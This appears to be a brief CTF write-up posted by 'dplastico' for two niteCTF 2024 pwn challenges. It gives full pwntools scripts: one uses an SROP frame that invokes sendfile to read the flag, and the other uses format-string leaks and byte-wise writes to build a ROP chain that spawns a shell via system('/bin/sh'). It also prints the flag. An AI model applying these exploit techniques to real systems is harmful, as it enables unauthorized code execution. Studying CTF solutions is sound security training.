dplastico

mixed signals

A SROP challenge:

#!/usr/bin/env python3

from pwn import *

elf = ELF("./chal_patched")

context.binary = elf
context.terminal = ['tmux', 'splitw', '-hp', '70']
#context.log_level = "debug"
gs = '''
b main
continue
'''

def start():
    if args.REMOTE:
        return remote("mixed-signal.chals.nitectf2024.live", 1337, ssl=True)
    if args.GDB:
        return gdb.debug([elf.path], gdbscript=gs)
    else:
        return process([elf.path])

r = start()

def logbase(): log.info("libc base = %#x" % libc.address)
def logleak(name, val):  log.info(name+" = %#x" % val)
def sa(delim,data): return r.sendafter(delim,data)
def sla(delim,line): return r.sendlineafter(delim,line)
def sl(line): return r.sendline(line)
def rcu(d1, d2=0):
  r.recvuntil(d1, drop=True)
  # return data between d1 and d2
  if (d2):
    return r.recvuntil(d2,drop=True)

#========= exploit here ===================
writable = 0x404100
syscall = 0x40119A
ret = 0x401016#: ret

frame = SigreturnFrame(arch="amd64", kernel="amd64")
frame.rax = constants.SYS_sendfile
frame.rdi = 0x1
frame.rsi = 0x3 # fd is static
frame.rdx = 0x0
frame.r10 = 0x30
frame.rsp = 0x404100
frame.rip = syscall

payload = p64(writable)
payload += b"BBBBBBBB" #rbp
payload += p64(elf.sym.read)
payload += p64(elf.sym.read)
payload += p64(syscall)
payload += bytes(frame)
payload += b"D"*(300-len(payload))

sla(b"pickup!", payload)
sleep(1)
sl(b"A"*0xE)

#========= interactive ====================
r.interactive()

Print the gifts

A format string exploit, proabably can be solve in a smarter way:

#!/usr/bin/env python3

from pwn import *

elf = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.binary = elf
context.terminal = ['tmux', 'splitw', '-hp', '70']
#context.log_level = "debug"
gs = '''
b main+260
continue
'''
def start():
    if args.REMOTE:
        return remote("print-the-gifts.chals.nitectf2024.live", 1337, ssl=True)
    if args.GDB:
        return gdb.debug([elf.path], gdbscript=gs)
    else:
        return process([elf.path])

r = start()

def logbase(): log.info("libc base = %#x" % libc.address)
def logleak(name, val):  log.info(name+" = %#x" % val)
def sa(delim,data): return r.sendafter(delim,data)
def sla(delim,line): return r.sendlineafter(delim,line)
def sl(line): return r.sendline(line)
def rcu(d1, d2=0):
  r.recvuntil(d1, drop=True)
  # return data between d1 and d2
  if (d2):
    return r.recvuntil(d2,drop=True)

#========= exploit here ===================
#1 stack
#21 canary
#25 base
payload = b"%25$p"
sla(b"from santa", payload)
binleak = int(rcu(b"you a ", b"\n"),16)
logleak("bin leak", binleak)
binbase = binleak - 0x1199
logleak("Bin base", binbase)
sla(b"Enter y or n",b"y")


payload = b"%1$p"
sla(b"from santa", payload)
stackleak = int(rcu(b"you a ", b"\n"),16)
logleak("stack leak", stackleak)
sla(b"Enter y or n",b"y")


payload = b"%23$p"
sla(b"from santa", payload)
libcleak = int(rcu(b"you a ", b"\n"),16)
logleak("libc leak", stackleak)
libc.address = libcleak-0x2724a
logbase()
sla(b"Enter y or n",b"y")

payload = b"%21$p"
sla(b"from santa", payload)
canary = int(rcu(b"you a ", b"\n"),16)
logleak("canary", canary)

retbin = stackleak + 0x21a8
logleak("retbin", retbin)
sla(b"Enter y or n",b"y")


gadget = p64(0xdeadbeef)
poprdi = p64(libc.address+0x00000000000277e5) #poprdi
binsh = p64(next(libc.search(b"/bin/sh")))
system = p64(libc.sym.system)
ret = p64(libc.address+0x0000000000026e99)
popr12 = p64(libc.address+0x0000000000027469)


#doesnt matter it will be zero out
for i in range(8):
    payload = fmtstr_payload(8, {(retbin+8)+i:int(gadget[i])}, write_size='byte')
    sla(b"from santa", payload)
    sla(b"Enter y or n",b"y")


for i in range(8):
    payload = fmtstr_payload(8, {(retbin+16)+i:int(poprdi[i])}, write_size='byte')
    sla(b"from santa", payload)
    sla(b"Enter y or n",b"y")


for i in range(8):
    payload = fmtstr_payload(8, {(retbin+24)+i:int(binsh[i])}, write_size='byte')
    sla(b"from santa", payload)
    sla(b"Enter y or n",b"y")


for i in range(8):
    payload = fmtstr_payload(8, {(retbin+32)+i:int(ret[i])}, write_size='byte')
    sla(b"from santa", payload)
    sla(b"Enter y or n",b"y")


for i in range(8):
    payload = fmtstr_payload(8, {(retbin+40)+i:int(system[i])}, write_size='byte')
    sla(b"from santa", payload)
    sla(b"Enter y or n",b"y")

#executes to "eat the zero"
for i in range(8):
    payload = fmtstr_payload(8, {retbin+i:int(popr12[i])}, write_size='byte')
    sla(b"from santa", payload)
    sla(b"Enter y or n",b"y")

sla(b"from santa", b"A")
sla(b"Enter y or n",b"n")

#========= interactive ====================
r.interactive()
#nite{0nLy_n4ugHty_k1d5_Use_%n}